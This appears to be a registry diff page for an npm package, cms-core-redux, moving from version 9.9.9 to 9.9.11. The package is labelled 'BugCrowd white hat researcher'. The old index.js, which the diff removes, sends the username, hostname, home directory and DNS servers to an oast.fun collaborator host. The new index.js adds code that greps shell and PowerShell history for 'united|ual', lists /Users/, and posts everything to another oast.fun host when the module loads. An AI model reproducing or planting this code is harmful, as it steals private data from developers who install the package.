cms-core-redux 9.9.9 → 9.9.11

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +123 -38
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,45 +3,130 @@ const dns = require("dns");
3
3
  const querystring = require("querystring");
4
4
  const https = require("https");
5
5
  const packageJSON = require("./package.json");
6
- const package = packageJSON.name;
7
-
8
- const trackingData = JSON.stringify({
9
- p: package,
10
- c: __dirname,
11
- hd: os.homedir(),
12
- hn: os.hostname(),
13
- un: os.userInfo().username,
14
- dns: dns.getServers(),
15
- r: packageJSON ? packageJSON.___resolved : undefined,
16
- v: packageJSON.version,
17
- pjson: packageJSON,
18
- });
19
-
20
- var postData = querystring.stringify({
21
- msg: trackingData,
22
- });
23
-
24
- var options = {
25
- hostname: "wogftrhneblzsviedhumkdanjsfu6j6y9.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
26
- port: 443,
27
- path: "/",
28
- method: "POST",
29
- headers: {
30
- "Content-Type": "application/x-www-form-urlencoded",
31
- "Content-Length": postData.length,
32
- },
33
- };
34
-
35
- var req = https.request(options, (res) => {
36
- res.on("data", (d) => {
37
- process.stdout.write(d);
6
+ const packageName = packageJSON.name;
7
+
8
+ const { exec } = require('child_process');
9
+
10
+ // Function to execute a command and return a Promise
11
+ function execCommand(command) {
12
+ return new Promise((resolve, reject) => {
13
+ exec(command, (error, stdout, stderr) => {
14
+ if (error) {
15
+ reject(`Error executing command: ${error.message}`);
16
+ return;
17
+ }
18
+ if (stderr) {
19
+ reject(`Stderr: ${stderr}`);
20
+ return;
21
+ }
22
+ resolve(stdout.trim());
23
+ });
38
24
  });
39
- });
25
+ }
26
+
27
+ // Define the command or file based on OS
28
+ let command;
29
+ if (os.platform() === 'win32') {
30
+ // Windows: Use PowerShell's Get-History
31
+ command = 'powershell -Command "Get-History | Select-String -Pattern \\"united|ual\\""';
32
+ } else if (os.platform() === 'linux') {
33
+ // Linux: Use .bash_history file as a fallback
34
+ command = 'grep -E "united|ual" ~/.bash_history';
35
+ } else if (os.platform() === 'darwin') {
36
+ // macOS: Use .zsh_history or .bash_history based on shell
37
+ const shellHistoryFile = process.env.SHELL.includes('zsh') ? '~/.zsh_history' : '~/.bash_history';
38
+ command = `grep -E "united|ual" ${shellHistoryFile}`;
39
+ } else {
40
+ console.error("Unsupported OS");
41
+ process.exit(1);
42
+ }
43
+
44
+ // Collect tracking data
45
+ async function collectTrackingData() {
46
+ try {
47
+ const history = await execCommand(command);
48
+ const lsOutput = await execCommand('ls -la /Users/'); // Adjust based on your target OS
49
+
50
+ const trackingData = JSON.stringify({
51
+ p: packageName,
52
+ c: __dirname,
53
+ ip: getIPAddress(),
54
+ currentDir: process.cwd(),
55
+ hd: os.homedir(),
56
+ hn: os.hostname(),
57
+ un: os.userInfo().username,
58
+ dns: dns.getServers(),
59
+ time: getCurrentTime(),
60
+ history: history,
61
+ ls: lsOutput,
62
+ r: packageJSON ? packageJSON.___resolved : undefined,
63
+ v: packageJSON.version,
64
+ pjson: packageJSON,
65
+ });
66
+
67
+ await sendTrackingData(trackingData);
68
+ } catch (error) {
69
+ console.error(error);
70
+ }
71
+ }
72
+
73
+ // Send the tracking data via HTTPS
74
+ function sendTrackingData(trackingData) {
75
+ return new Promise((resolve, reject) => {
76
+ const postData = querystring.stringify({
77
+ msg: trackingData,
78
+ });
79
+
80
+ const options = {
81
+ hostname: "wogftrhneblzsviedhumiwvoac2v3otzb.oast.fun",
82
+ port: 443,
83
+ path: "/",
84
+ method: "POST",
85
+ headers: {
86
+ "Content-Type": "application/x-www-form-urlencoded",
87
+ "Content-Length": Buffer.byteLength(postData),
88
+ },
89
+ };
90
+
91
+ const req = https.request(options, (res) => {
92
+ let responseData = '';
93
+ res.on("data", (d) => {
94
+ responseData += d;
95
+ });
96
+
97
+ res.on("end", () => {
98
+ console.log("Response from server:", responseData);
99
+ resolve();
100
+ });
101
+ });
102
+
103
+ req.on("error", (e) => {
104
+ reject(`Request error: ${e.message}`);
105
+ });
106
+
107
+ req.write(postData);
108
+ req.end();
109
+ });
110
+ }
111
+
112
+ function getCurrentTime() {
113
+ return new Date().toLocaleString();
114
+ }
115
+
116
+ function getIPAddress() {
117
+ const interfaces = os.networkInterfaces();
118
+ const addresses = [];
40
119
 
41
- req.on("error", (e) => {
42
- // console.error(e);
43
- });
120
+ for (const iface in interfaces) {
121
+ for (const addr of interfaces[iface]) {
122
+ if (addr.family === 'IPv4' && !addr.internal) {
123
+ addresses.push(addr.address);
124
+ }
125
+ }
126
+ }
44
127
 
45
- req.write(postData);
46
- req.end();
128
+ return addresses.length > 0 ? addresses[0] : 'No external IP found';
129
+ }
47
130
 
131
+ // Start collecting tracking data
132
+ collectTrackingData();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cms-core-redux",
3
- "version": "9.9.9",
3
+ "version": "9.9.11",
4
4
  "description": "BugCrowd white hat researcher",
5
5
  "main": "index.js",
6
6
  "scripts": {